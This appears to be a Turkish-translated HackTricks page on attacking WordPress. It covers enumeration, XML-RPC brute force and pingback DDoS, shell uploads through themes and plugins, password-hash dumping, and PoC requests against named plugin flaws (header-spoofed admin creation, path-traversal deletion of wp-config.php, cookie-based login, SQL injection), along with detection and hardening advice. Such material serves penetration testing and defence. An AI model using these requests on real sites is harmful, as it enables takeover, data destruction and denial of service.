38 KiB
Wordpress
{{#include ../../banners/hacktricks-training.md}}
Temel Bilgiler
-
Yüklenen dosyalar şu adrese gider:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Tema dosyaları /wp-content/themes/ dizininde bulunur, bu yüzden temanın bazı php dosyalarını değiştirip RCE elde etmeye çalışırsanız muhtemelen bu yolu kullanırsınız. Örneğin: twentytwelve temasını kullanarak /wp-content/themes/twentytwelve/404.php dosyasına erişebilirsiniz.
-
Başka faydalı bir url olabilir: /wp-content/themes/default/404.php
-
wp-config.php içinde veritabanının root parolasını bulabilirsiniz.
-
Kontrol edilecek varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Ana WordPress Dosyaları
index.php
license.txt
örneğin yüklü WordPress sürümünü içeren faydalı bilgiler barındırır.wp-activate.php
yeni bir WordPress sitesi kurulumunda e-posta aktivasyon süreci için kullanılır.- Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
HTTP taşıma mekanizması ve XML kodlama mekanizması ile veri iletimine izin veren bir WordPress özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress REST API ile değiştirilmiştir.wp-content
klasörü eklenti ve temaların saklandığı ana dizindir.wp-content/uploads/
platforma yüklenen herhangi bir dosyanın saklandığı dizindir.wp-includes/
sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi core dosyalarının saklandığı dizindir.wp-sitemap.xml
Wordpress 5.5 ve üzeri sürümlerde, tüm herkese açık gönderileri ve herkese açık sorgulanabilir post türleri ile taksonomileri içeren bir sitemap XML dosyası oluşturur.
Post exploitation
wp-config.php
dosyası WordPress'in veritabanına bağlanması için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, kimlik doğrulama anahtarları ve tuzlar, ve veritabanı tablo öneki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için kullanılabilir; bu da sorun giderme sırasında faydalı olabilir.
Kullanıcı İzinleri
- Administrator
- Editor: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
- Author: Kendi gönderilerini yayınlar ve yönetir
- Contributor: Gönderilerini yazar ve yönetir ancak yayımlayamaz
- Subscriber: Gönderileri görüntüler ve profilini düzenleyebilir
Pasif Keşif
WordPress sürümünü öğrenme
/license.txt
veya /readme.html
dosyalarını bulup bulamayacağınızı kontrol edin
Sayfanın kaynak kodu içinde (örnek from https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS link dosyaları
- JavaScript dosyaları
Eklentiler
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Temaları Al
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Genel olarak sürüm bilgisi çıkarma
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktif keşif
Eklentiler ve Temalar
Muhtemelen tüm eklentileri ve temaları bulamayacaksınız. Hepsini keşfetmek için, aktif olarak eklenti ve tema listelerini Brute Force etmeniz gerekecek (umarız bu listeleri içeren otomatik araçlar vardır).
Kullanıcılar
- ID Brute: Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz:
curl -s -I -X GET http://blog.example.com/?author=1
Eğer yanıtlar 200 veya 30X ise, bu id'nin geçerli olduğu anlamına gelir. Eğer yanıt 400 ise, id geçersizdir.
- wp-json: Kullanıcılar hakkında bilgi almak için şu sorguyu da deneyebilirsiniz:
curl http://blog.example.com/wp-json/wp/v2/users
Kullanıcılar hakkında bazı bilgiler açığa çıkarabilecek bir diğer /wp-json/
endpoint şudur:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. Sadece bu özellik etkin olan kullanıcılarla ilgili bilgiler sağlanacaktır.
Also note that /wp-json/wp/v2/pages could leak IP addresses.
- Login username enumeration:
/wp-login.php
üzerinden giriş yaparken gösterilen mesaj, kullanıcının var olup olmadığına göre farklıdır.
XML-RPC
Eğer xml-rpc.php
aktifse credentials brute-force gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi örneğin using this ile otomatikleştirebilirsiniz).
To see if it is active try to access to /xmlrpc.php and send this request:
Kontrol
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
veya metaWeblog.getUsersBlogs
brute-force credentials için kullanılabilecek yöntemlerden bazılarıdır. Eğer bunlardan herhangi birini bulabilirseniz şu şekilde bir şey gönderebilirsiniz:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Geçerli olmayan kimlik bilgileri varsa, 200 kodlu yanıt içinde "Incorrect username or password" mesajı görünmelidir.
Doğru kimlik bilgileriyle bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a daha hızlı bir yol to brute-force credentials using system.multicall
as you can try several credentials on the same request:

Bypass 2FA
Bu yöntem programlar için tasarlanmıştır, insanlar için değil ve eski olduğu için 2FA'yı desteklemiyor. Yani, geçerli creds'iniz varsa ancak ana giriş 2FA ile korunuyorsa, xmlrpc.php'yi kullanarak bu creds ile 2FA'yı atlayarak oturum açmayı kötüye kullanabilirsiniz. Konsol aracılığıyla yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, ancak Ippsec'in açıkladığı gibi yine de RCE'ye ulaşabilirsiniz: https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
Bu, binlerce Wordpress site'nin tek bir konum'a erişimde bulunmasını sağlamak için kullanılabilir (böylece o konumda bir DDoS oluşur) veya herhangi bir port belirterek Wordpress'in bazı iç ağ'ları taramasını sağlamak için kullanılabilir.
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Eğer faultCode değeri 0'dan büyük (17) ise, bu portun açık olduğu anlamına gelir.
Önceki bölümdeki system.multicall
kullanımına bakarak bu yöntemi DDoS oluşturmak için nasıl suistimal edebileceğinizi öğrenin.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Bu dosya genellikle Wordpress sitesinin kökünde bulunur: /wp-cron.php
Bu dosyaya erişildiğinde "ağır" MySQL sorgu çalıştırılır; bu yüzden attackers bir DoS'a sebep olabilir.
Ayrıca, varsayılan olarak, wp-cron.php
her sayfa yüklenişinde (bir istemci herhangi bir Wordpress sayfasını istediğinde) tetiklenir; yüksek trafikli sitelerde bu problemler (DoS) yaratabilir.
Wp-Cron'u devre dışı bırakıp, sunucu içinde gerekli işlemleri düzenli aralıklarla gerçekleştirecek gerçek bir cronjob oluşturmanız önerilir (sorunlara yol açmadan).
/wp-json/oembed/1.0/proxy - SSRF
Şu adrese erişmeyi deneyin https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net ve Worpress sitesi size bir istek yapabilir.
This is the response when it doesn't work:
SSRF
{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}
Bu araç, methodName: pingback.ping'in ve /wp-json/oembed/1.0/proxy yolunun varlığını kontrol eder; eğer mevcutsa, bunları exploit etmeye çalışır.
Otomatik Araçlar
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Bir biti üzerine yazarak erişim sağlama
Gerçek bir saldırıdan çok bir merak konusudur. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasındaki 1 biti değiştirebiliyordunuz. Böylece /var/www/html/wp-includes/user.php
dosyasının 5389
konumundaki biti değiştirerek NOT (!
) işlemini NOP yapabilirdiniz.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Kullanılan temadaki bir php'yi değiştirme (admin credentials needed)
Appearance → Theme Editor → 404 Template (sağ tarafta)
İçeriği bir php shell ile değiştirin:
Güncellenmiş sayfaya nasıl erişileceğini internette araştırın. Bu durumda şuraya erişmeniz gerekiyor: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Şunu kullanabilirsiniz:
use exploit/unix/webapp/wp_admin_shell_upload
oturum elde etmek için.
Plugin RCE
PHP plugin
.php dosyalarını bir plugin olarak yüklemek mümkün olabilir.
Örneğin şu şekilde php backdoor'unuzu oluşturun:
Sonra yeni bir plugin ekleyin:
Plugin'i yükleyin ve "Install Now" butonuna basın:
"Procced"e tıklayın:
Muhtemelen görünürde hiçbir şey olmayacak, ancak Media'ya giderseniz yüklenmiş shell'inizi göreceksiniz:
Erişin ve reverse shell'i çalıştırmak için URL'yi göreceksiniz:
Uploading and activating malicious plugin
Bu yöntem, bilinen şekilde zafiyetli olan ve web shell elde etmek için istismar edilebilen zararlı bir plugin'in kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir:
- Plugin Edinimi: Plugin, Exploit DB gibi bir kaynaktan elde edilir; örneğin here.
- Plugin Kurulumu:
- WordPress dashboard'a gidin, sonra
Dashboard > Plugins > Upload Plugin
. - İndirilen plugin'in zip dosyasını yükleyin.
- Plugin Aktivasyonu: Plugin başarılı şekilde yüklendikten sonra dashboard üzerinden aktive edilmelidir.
- Exploitation:
- "reflex-gallery" plugin'i yüklü ve aktif olduğunda, zafiyeti bilindiği için istismar edilebilir.
- Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak bir meterpreter oturumu kurulabilir ve siteye yetkisiz erişim sağlanabilir.
- Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu not edilmelidir.
İçerik, WordPress dashboard'unda plugin'i yükleme ve aktifleştirme adımlarını gösteren görsel yardımcılar içerir. Ancak, bu şekilde zafiyetleri istismar etmek uygun yetki olmadan yasa dışı ve etik dışıdır. Bu bilgiler sorumlu şekilde ve yalnızca açık izinle yapılan penetration testing gibi yasal bağlamlarda kullanılmalıdır.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
XSS'ten RCE'ye
- WPXStrike: WPXStrike WordPress'te bir Cross-Site Scripting (XSS) zafiyetini Remote Code Execution (RCE) veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir script'tir. Daha fazla bilgi için this post'a bakın. Aşağıdaki Wordpress sürümlerini destekler ve şunları yapmaya olanak tanır:
- Privilege Escalation: WordPress'te bir kullanıcı oluşturur.
- (RCE) Custom Plugin (backdoor) Upload: Özel plugin (backdoor) yüklemenizi sağlar.
- (RCE) Built-In Plugin Edit: WordPress'teki built-in plugin'leri düzenlemenizi sağlar.
- (RCE) Built-In Theme Edit: WordPress'teki built-in theme'leri düzenlemenizi sağlar.
- (Custom) Custom Exploits: Üçüncü taraf WordPress pluginleri/temaları için özel exploit'ler.
Post Exploitation
Kullanıcı adları ve parolaları çıkar:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
admin parolasını değiştir:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Attack Surface
Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkardığını bilmek, o işlevlerdeki zafiyetleri bulmak için anahtardır. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki madde başlıklarında bulabilirsiniz ve savunmasız bazı eklenti örnekleri için this blog post.
wp_ajax
Bir eklentinin fonksiyonlarını kullanıcılara açığa çıkarmasının yollarından biri AJAX işleyicileridir. Bunlar mantık, authorization veya authentication hataları içerebilir. Ayrıca, bu fonksiyonların sıklıkla hem authentication hem authorization'ı bir wordpress nonce'unun varlığına dayandırması yaygındır; bu nonce Wordpress kurulumunda kimliği doğrulanmış herhangi bir kullanıcıda bulunabilir (rolünden bağımsız olarak).
Bunlar bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlardır:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
nopriv
kullanımı endpoint'i herhangi bir kullanıcı tarafından (kimlik doğrulanmamış olanlar dahil) erişilebilir hale getirir.
Caution
Ayrıca, eğer fonksiyon yalnızca kullanıcının yetkisini
wp_verify_nonce
fonksiyonuyla kontrol ediyorsa, bu fonksiyon sadece kullanıcının oturum açmış olduğunu doğrular; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalığa sahip kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir.
- REST API
Ayrıca register_rest_route
fonksiyonunu kullanarak wordpress'ten fonksiyonları bir REST API olarak kayıt edip açığa çıkarmak da mümkündür:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback
is a callback to function that checks if a given user is authorized to call the API method.
If the built-in __return_true
function is used, it'll simply skip user permissions check.
- Doğrudan php dosyasına erişim
Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir güvenlik açığı barındırıyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Bazı eklentiler dahili entegrasyonlar veya reverse proxy'ler için “trusted header” kısayolları uygular ve sonra bu header'ı REST istekleri için mevcut kullanıcı bağlamını ayarlamakta kullanır. Eğer bu header yukarı akış bileşeni tarafından isteğe kriptografik olarak bağlanmamışsa, bir saldırgan onu taklit ederek yönetici olarak ayrıcalıklı REST rotalarına erişebilir.
- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(forces user ID 1, typically the first administrator account). - Exploited route:
POST /wp-json/wp/v2/users
with an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Neden işe yarıyor
- Plugin, istemci tarafından kontrol edilen bir header'ı authentication state ile eşler ve capability kontrollerini atlar.
- WordPress core bu route için
create_users
capability'sini bekler; plugin hack'i bu kontrolü header'dan doğrudan current user context ayarlayarak atlatır.
Beklenen başarı göstergeleri
- HTTP 201 ve oluşturulan kullanıcıyı tanımlayan bir JSON body.
wp-admin/users.php
içinde görünen yeni bir admin kullanıcı.
Tespit kontrol listesi
getallheaders()
,$_SERVER['HTTP_...']
için grep yapın veya vendor SDK'ları gibi custom header'ları okuyup user context ayarlayan kütüphanelere bakın (ör.wp_set_current_user()
,wp_set_auth_cookie()
).- Privileged callback'leri olan REST kayıtlarını inceleyin; sağlam bir
permission_callback
kontrolü olmayan ve bunun yerine request header'larına güvenenleri tespit edin. - REST handler'ları içinde yalnızca header değerleri ile sınırlanan core user-management fonksiyonlarının (
wp_insert_user
,wp_create_user
) kullanımlarına bakın.
Sertleştirme
- Authentication veya authorization'ı istemci kontrollü header'lardan türetmeyin.
- Bir reverse proxy kimlik enjekte etmek zorundaysa, güveni proxy'de sonlandırın ve gelen kopyaları kenarda strip edin (ör. edge'de
unset X-Wcpay-Platform-Checkout-User
), sonra imzalı bir token ile iletin ve server-side doğrulayın. - Privileged action yapan REST route'ları için
current_user_can()
kontrolleri ve katı birpermission_callback
zorunlu kılın (__return_true
kullanmayın). - Header “impersonation” yerine birinci taraf auth'u (cookies, application passwords, OAuth) tercih edin.
Referanslar: halka açık bir vaka ve daha geniş analiz için sayfanın sonundaki linklere bakın.
wp_ajax_nopriv ile Yetkisiz Keyfi Dosya Silme (Litho Theme <= 3.0)
WordPress temaları ve eklentileri sıkça AJAX handler'larını wp_ajax_
ve wp_ajax_nopriv_
hook'ları aracılığıyla açığa çıkarır. nopriv varyantı kullanıldığında callback yetkisiz ziyaretçiler tarafından erişilebilir hale gelir, bu yüzden herhangi bir hassas işlem ayrıca aşağıdakileri uygulamalıdır:
- Bir yetki kontrolü (ör.
current_user_can()
veya en azındanis_user_logged_in()
), ve check_ajax_referer()
/wp_verify_nonce()
ile doğrulanan bir CSRF nonce, ve- Sıkı girdi sanitizasyonu / doğrulaması.
Litho multipurpose theme (< 3.1) bu 3 kontrolü Remove Font Family özelliğinde unutmuş ve sonuç olarak aşağıdaki kodu (sadeleştirilmiş) dağıtmış:
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Bu kod parçasının yol açtığı sorunlar:
- Kimlik doğrulaması olmayan erişim –
wp_ajax_nopriv_
hook'ı kayıtlı. - Nonce / capability check yok – herhangi bir ziyaretçi endpoint'e istek gönderebilir.
- Yol sanitizasyonu yok – kullanıcı kontrollü
fontfamily
string'i filtrelenmeden dosya sistemi yoluna ekleniyor, klasik../../
traversal'a izin veriyor.
İstismar
Bir saldırgan tek bir HTTP POST isteği göndererek herhangi bir dosyayı veya dizini uploads ana dizininin altında (genellikle <wp-root>/wp-content/uploads/
) silebilir:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
wp-config.php
uploads klasörünün dışında bulunduğu için, varsayılan kurulumda dört ../
dizisi yeterlidir. wp-config.php
'yi silmek bir sonraki ziyarette WordPress'i kurulum sihirbazı durumuna sokar ve tam site ele geçirmeye olanak verir (saldırgan sadece yeni bir DB yapılandırması sağlar ve bir admin user oluşturur).
Diğer etkili hedefler arasında plugin/theme .php
dosyaları (security plugin'lerini bozmak için) veya .htaccess
kuralları yer alır.
Tespit kontrol listesi
- Dosya sistemi yardımcılarını (
copy()
,unlink()
,$wp_filesystem->delete()
, vb.) çağıran herhangi biradd_action( 'wp_ajax_nopriv_...')
callback'i. - Temizlenmemiş kullanıcı girdilerinin yollara eklenmesi (bak:
$_POST
,$_GET
,$_REQUEST
). check_ajax_referer()
vecurrent_user_can()
/is_user_logged_in()
fonksiyonlarının yokluğu.
Sertleştirme
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
Tip
Her zaman diskteki herhangi bir yazma/silme işlemini ayrıcalıklı olarak ele alın ve çift kontrol yapın: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via
realpath()
plusstr_starts_with()
).
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Birçok plugin, orijinal rol(leri) user meta içinde kaydederek daha sonra geri yüklenebilmeleri için "view as role" veya geçici rol değiştirme özelliği uygular. Eğer geri yükleme yolu yalnızca request parametrelerine (ör. $_REQUEST['reset-for']
) ve plugin tarafından tutulan bir listeye dayanıyor ve capabilities ile valid nonce kontrolü yapmıyorsa, bu bir vertical privilege escalation haline gelir.
Gerçek bir örnek Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) içinde bulunmuştur. Reset dalı, kullanıcı adı dahili bir dizi $options['viewing_admin_as_role_are']
içinde görünüyorsa reset-for=<username>
bazında rolleri geri yüklüyordu, ancak mevcut rolleri kaldırıp user meta _asenha_view_admin_as_original_roles
içindeki kaydedilmiş rolleri tekrar eklemeden önce ne bir current_user_can()
kontrolü ne de bir nonce doğrulaması yapıyordu:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Neden istismar edilebilir
- Sunucu tarafı yetkilendirmesi olmadan
$_REQUEST['reset-for']
ve bir plugin seçeneğine güvenir. - Daha önce
_asenha_view_admin_as_original_roles
içinde daha yüksek ayrıcalıklara sahip olup yetkisi düşürülmüş bir kullanıcı, sıfırlama yoluna erişerek bunları geri yükleyebilir. - Bazı dağıtımlarda, yetkilendirme hatası nedeniyle herhangi bir kimlikli kullanıcı,
viewing_admin_as_role_are
içinde hâlâ bulunan başka bir kullanıcı adına reset tetikleyebilir (broken authorization).
Saldırı önkoşulları
- Özelliği etkin olan etkilenmiş plugin sürümü.
- Hedef hesabın, önceki kullanımdan kalan ve user meta'da saklı yüksek ayrıcalıklı bir role sahip olması.
- Herhangi bir doğrulanmış oturum; reset akışında nonce/capability eksikliği.
İstismar (örnek)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Zayıf yapılandırmalarda bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (örn. administrator
) yeniden ekler; bu da ayrıcalıkların yükselmesine yol açar.
Detection checklist
- Rol değiştirme özelliklerinde, kullanıcı meta verisinde “orijinal rolleri” (örn.
_asenha_view_admin_as_original_roles
) saklayan öğeleri arayın. - Sıfırlama/geri yükleme yollarını belirleyin:
- Kullanıcı adlarını
$_REQUEST
/$_GET
/$_POST
üzerinden okuyan. - Rolleri
add_role()
/remove_role()
ile değiştiren ve bunucurrent_user_can()
ilewp_verify_nonce()
/check_admin_referer()
kontrolleri olmadan yapan. - Yetkilendirmeyi aktörün yetenekleri yerine bir eklenti seçenek dizisine (örn.
viewing_admin_as_role_are
) dayandıran.
- Kullanıcı adlarını
Hardening
- Her durum değişikliğine yol açan kod dalında yetenek kontrollerini zorunlu kılın (örn.
current_user_can('manage_options')
veya daha sıkı). - Tüm rol/izin değişiklikleri için nonce gerektirin ve doğrulayın:
check_admin_referer()
/wp_verify_nonce()
. - İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında, kimlik doğrulanmış aktöre ve açık politikaya göre belirleyin.
- Profil/rol güncellemelerinde “orijinal rolleri” durumu geçersiz kılın, böylece eski yüksek ayrıcalıkların geri yüklenmesini engelleyin:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Geçici rol değişimleri için minimum durum saklamayı ve süreli, yetki-korumalı token'lar kullanmayı düşünün.
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Bazı eklentiler user-switching yardımcılarını public init
hook'una bağlar ve kimliği client-controlled cookie'den türetir. Eğer kod wp_set_auth_cookie()
'ı kimlik doğrulama, capability ve geçerli bir nonce doğrulaması yapmadan çağırıyorsa, herhangi bir yetkilendirilmemiş ziyaretçi rastgele bir kullanıcı ID'si ile zorla giriş yapabilir.
Tipik zayıf desen (Service Finder Bookings ≤ 6.1'den basitleştirilmiş):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Neden istismar edilebilir
- Public
init
hook, handler'ın kimliği doğrulanmamış kullanıcılar tarafından erişilebilir olmasını sağlar (hiçbiris_user_logged_in()
koruması yok). - Kimlik, istemci tarafından değiştirilebilen bir cookie (
original_user_id
) üzerinden türetilir. - Doğrudan
wp_set_auth_cookie($uid)
çağrısı, istekte bulunan kişiyi herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır.
İstismar (kimliği doğrulanmamış)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF considerations for WordPress/plugin CVEs
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
Saldırı notları
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv
, REST with permissivepermission_callback
, public shortcodes). Default payloads often succeed without obfuscation. - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Savunma notları
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
WordPress Protection
Regular Updates
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ayrıca, sadece güvenilir WordPress plugins and themes yükleyin.
Güvenlik Eklentileri
Diğer Öneriler
- Varsayılan admin kullanıcısını kaldırın
- Güçlü şifreler ve 2FA kullanın
- Kullanıcıların izinlerini periyodik olarak gözden geçirin
- Giriş denemelerini sınırlayın Brute Force saldırılarını önlemek için
wp-admin.php
dosyasının adını değiştirin ve erişime yalnızca dahili ağdan veya belirli IP adreslerinden izin verin.
Kimlik doğrulaması gerektirmeyen SQL Injection (yetersiz doğrulama) (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin, sonuçta savecategory görevini açığa çıkardı; bu görev en nihayetinde modules/category/model.php::validateFormData()
içinde aşağıdaki güvenli olmayan kodu çalıştırıyordu:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Issues introduced by this snippet:
- Temizlenmemiş kullanıcı girdisi –
parentid
doğrudan HTTP isteğinden geliyor. - WHERE cümlesinde string birleştirme –
